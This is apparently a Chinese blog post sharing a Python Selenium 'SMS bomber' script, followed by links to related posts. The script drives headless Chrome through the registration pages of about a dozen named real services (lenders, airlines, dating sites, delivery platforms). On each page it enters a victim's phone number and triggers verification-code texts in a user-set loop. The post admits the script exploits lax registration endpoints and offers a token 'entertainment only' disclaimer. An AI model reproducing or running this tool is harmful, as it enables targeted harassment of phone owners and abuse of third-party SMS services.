原理其实很简单,就是利用selenium包打开各种网站的注册页,输入轰炸的号码,实现轰炸。其实也算是利用了注册漏洞。申明:仅娱乐使用,禁止️用于非法用途!若用于非法用途,后果及法律责任博主一律不承担

 from selenium import webdriver
from selenium.webdriver import ActionChains
import time
import threading #360借条
def send_360(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('https://www.360jie.com.cn/')
browser.find_element_by_name("mobile").send_keys(phon_num)
browser.find_element_by_id('btnSendCode1').click()
time.sleep(5)
browser.close() #拍拍贷
def send_paipai(phon_num): option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
key = "8263abd"
browser.get("https://account.ppdai.com/pc/login")
browser.find_element_by_class_name("login_toRegister").click()
browser.find_element_by_name("Mobile").send_keys(phon_num)
browser.find_element_by_name("Password").send_keys(key)
browser.find_element_by_id("getvefydata").click()
time.sleep(5)
browser.close() #饿了么开放平台
def send_ele(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('https://open.shop.ele.me/openapi/register')
browser.find_element_by_class_name('el-checkbox__inner').click()
time.sleep(3)
browser.find_element_by_xpath("//*[@class='el-button btn-next-step el-button--primary']").click()
time.sleep(4)
browser.find_element_by_class_name('el-input__inner').send_keys(phon_num)
browser.find_element_by_class_name('btn-verifyCode').click()
time.sleep(4)
browser.close() #瓜子二手车
def send_guazi(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome()
browser.get('https://www.guazi.com/nanchong/')
time.sleep(1)
browser.find_element_by_xpath("//*[@class='close js-close-finance-pop']").click()
time.sleep(2)
browser.find_element_by_id('js-login-new').click()
time.sleep(1)
browser.find_element_by_name('phone').send_keys(phon_num)
time.sleep(1)
browser.find_element_by_class_name('get-code').click()
time.sleep(4)
browser.close() #凤凰智信
def send_fenghuang(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('https://www.fengwd.com/')
time.sleep(1)
browser.find_element_by_xpath("//*[@class='top-bar-item login-tag']/a").click()
time.sleep(2)
browser.find_element_by_id('mobile_number').send_keys(phon_num)
browser.find_element_by_xpath("//*[@class='get-sms-captcha blue']").click()
time.sleep(4)
browser.close() #众房宝
def send_zongfangbao(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('https://www.zonefang.com/member/common/register')
time.sleep(1)
browser.find_element_by_class_name('phone').send_keys(phon_num)
time.sleep(2)
browser.find_element_by_class_name('pwd').send_keys('123456ydsa')
time.sleep(1)
browser.find_element_by_xpath("//*[@class='send_msg hand']").click()
time.sleep(4)
browser.close() #百合相亲网
def send_baihe(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('https://my.baihe.com/register/?spm=2.13.24.69.99')
time.sleep(1)
browser.find_element_by_id('account').send_keys(phon_num)
browser.find_element_by_id('mobileValiCode_btn').click()
time.sleep(4)
browser.close() #四川航空
def send_sichuanair(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('http://flights.sichuanair.com/3uair/ibe/profile/createProfile.do')
browser.find_element_by_name('mobilePhone').send_keys(phon_num)
time.sleep(1)
browser.find_element_by_id('sendSmsCode').click()
time.sleep(6)
browser.close() #昆明航空
def send_airkunming(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('https://www.airkunming.com/#/user/register')
browser.find_element_by_id('mobile').send_keys(phon_num)
time.sleep(1)
browser.find_element_by_xpath("//*[@class='sms-code']").click()
time.sleep(4)
browser.close() #有赞开放平台
def send_youzan(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('https://console.youzanyun.com/register')
browser.find_element_by_xpath("//*[@class = 'zent-input phone']").send_keys(phon_num)
time.sleep(1)
browser.find_element_by_xpath("//*[@class = 'sms-btn']").click()
time.sleep(4)
browser.close() #安徽相亲网
def send_anhuixiangiqn(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('http://www.ahxiangqin.cn/index.php?c=passport&a=reg')
browser.find_element_by_name('mobile').send_keys([phon_num])
time.sleep(1)
#browser.find_element_by_class_name('action-send-mobile-code get').click()
browser.find_element_by_xpath("//*[@class = 'action-send-mobile-code get']").click()
time.sleep(4)
browser.close() #我主良缘
def send_wozhuliangyuan(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('http://m.7799520.com/register.html')
browser.find_element_by_name('mobile').send_keys([phon_num])
time.sleep(1)
bu = browser.find_elements_by_tag_name('button')
for i in bu:
i.click()
time.sleep(2)
browser.close() if __name__ == "__main__":
phon_num = input('输入轰炸的手机号:')
run_roll = input('轰炸循环次数:')
run_roll = int(run_roll)
for _ in range(run_roll):
#threading.Thread(target = send_baihe(phon_num)).start()
threading.Thread(target = send_360(phon_num)).start()
#threading.Thread(target = send_paipai(phon_num)).start()
threading.Thread(target = send_ele(phon_num)).start()
#threading.Thread(target = send_guazi(phon_num)).start()
threading.Thread(target = send_fenghuang(phon_num)).start()
#threading.Thread(target = send_zongfangbao(phon_num)).start()
threading.Thread(target = send_sichuanair(phon_num)).start()
threading.Thread(target = send_airkunming(phon_num)).start()
threading.Thread(target = send_youzan(phon_num)).start()
threading.Thread(target = send_anhuixiangiqn(phon_num)).start()
threading.Thread(target = send_wozhuliangyuan(phon_num)).start()
time.sleep(4)

Python 实现短信轰炸机的更多相关文章

  1. 使用Selennium实现短信轰炸机

    前言 可以用来轰炸一下骗子,但最好不要乱用.本来初学Python,仅当学习. selenium和ChromeDriver的安装与配置 可参考这篇博客,这里不再赘述. 程序实现 短信轰炸机的原理是利用一 ...

  2. Python3实现短信轰炸机

    短信轰炸机的基本原理:利用某些限制不严格的网站短信注册接口,用Python模拟请求,传入被炸人手机号码,实现轰炸 实现方式:利用requests模块.time模块.完成请求模拟 模块安装: 在终端窗口 ...

  3. 键盘上的"整蛊专家",如何防止短信轰炸机

    "短信轰炸机",是别人通过爬虫或者其他抓取手段在网路上收集那些公司平台短信业务接口的一个集成程序,可能只需要输入一个手机号,对方一整天都会收到各大平台的注册或提醒短信,就是手机在那 ...

  4. Python发送短信提醒

    Python发送短信可借助腾讯云平台提供的短信服务 发送短信需要的及格参数: 1.SDK_AppID和SDK_Key 2.签名: 3.模板ID 下面贴出源码DEMO: from qcloudsms_p ...

  5. 使用python进行短信轰炸

    本文作者:i春秋作家——Hacker1ee 大家好,我是1ee(因为在作家群,就不加Hacker这个前缀了,怕被大佬打..) 刚加入i春秋作家组希望大家多多关照,也欢迎大家找我交流 今天我来讲讲我最近 ...

  6. python短信轰炸机版本smsbomb----------部分(post)

    用一些用手机号注冊且须要发送验证码的站点的漏洞.能够向不论什么人的手机号发送短信,当然短信内容,我们无法控制.所以主要工作还是寻找这种站点.然后利用Fiddler或者HttpWatch分析请求.使用p ...

  7. 使用python实现短信PDU编码

    前几天入手一个3G模块,便倒腾了一下.需要发送中英文混合短信,所以采用PDU模式(不了解google ^_^). 最大问题当然就是拼接PDU编码(python这么强大,说不定有模块),果不其然找到一个 ...

  8. DAY3 python群发短信

    手机轰炸,burpsuit 抓取注册页面输入的手机号,然后每点击一次forword ,都开开始放行,发短信.也可以发到repeat 里面进行 ,重复发送短信. import requests impo ...

  9. python发送短信验证码

    业务: 手机端点击发送验证码,请求发送到python端,由python调用第三方平台(我们使用的是榛子云短信http://smsow.zhenzikj.com)的短信接口,生成验证码并发送. SDK下 ...

随机推荐

  1. (Java实现)洛谷 P2095 营养膳食

    题目描述 Mr.L正在完成自己的增肥计划. 为了增肥,Mr.L希望吃到更多的脂肪.然而也不能只吃高脂肪食品,那样的话就会导致缺少其他营养.Mr.L通过研究发现:真正的营养膳食规定某类食品不宜一次性吃超 ...

  2. Java实现 LeetCode 553 最优除法(思路问题)

    553. 最优除法 给定一组正整数,相邻的整数之间将会进行浮点除法操作.例如, [2,3,4] -> 2 / 3 / 4 . 但是,你可以在任意位置添加任意数目的括号,来改变算数的优先级.你需要 ...

  3. Java实现 LeetCode 39 组合总和

    39. 组合总和 给定一个无重复元素的数组 candidates 和一个目标数 target ,找出 candidates 中所有可以使数字和为 target 的组合. candidates 中的数字 ...

  4. Java实现LeetCode_0028_ImplementStrStr

    package javaLeetCode.primary; import java.util.Scanner; public class ImplementStrStr_28 { public sta ...

  5. java实现 洛谷 P1017 进制转换

    import java.util.Scanner; public class Main { private static Scanner cin; public static void main(St ...

  6. Mac下如何连接linux服务器(SSH)-比较好用的SSH工具推荐

    Mac下如何连接linux服务器(SSH) 1.用mac自带终端连接 步骤如下: 打开终端,在顶部shell菜单中选择新建远程连接 在右侧服务器窗口点击+号,添加服务器,输入IP等信息 输入用户名,点 ...

  7. 基本的bash shell 命令

    1.遍历目录:cd 2.显示目录列表:ls 3.创建文件:touch 4.复制文件:cp 5.链接文件:ln 6.重命名文件:mv 7.删除文件:rm 8.创建目录:mkdir 9.删除目录:rmdi ...

  8. python自学Day03(自学书籍python编程从入门到实践)

    第4章 操作列表 只需要几行代码无论列表有多长,循环都能够让我对列表的每个元素都采取一个或一系列相同的措施,从而高效的处理任何长度的列表. 4.1 遍历整个列表 对列表中每个元素都拿出来,进行一个或者 ...

  9. session共享同步redis策略

    关于session共享的文章,网上很多,可是最关键的点我没有看到一篇.也就是session对象到底是怎么同步到redis的. spring-session底层原理到底是怎么样的一个同步更新策略,我没有 ...

  10. ODEINT 求解常微分方程(1)

    An example of using ODEINT is with the following differential equation with parameter k=0.3, the ini ...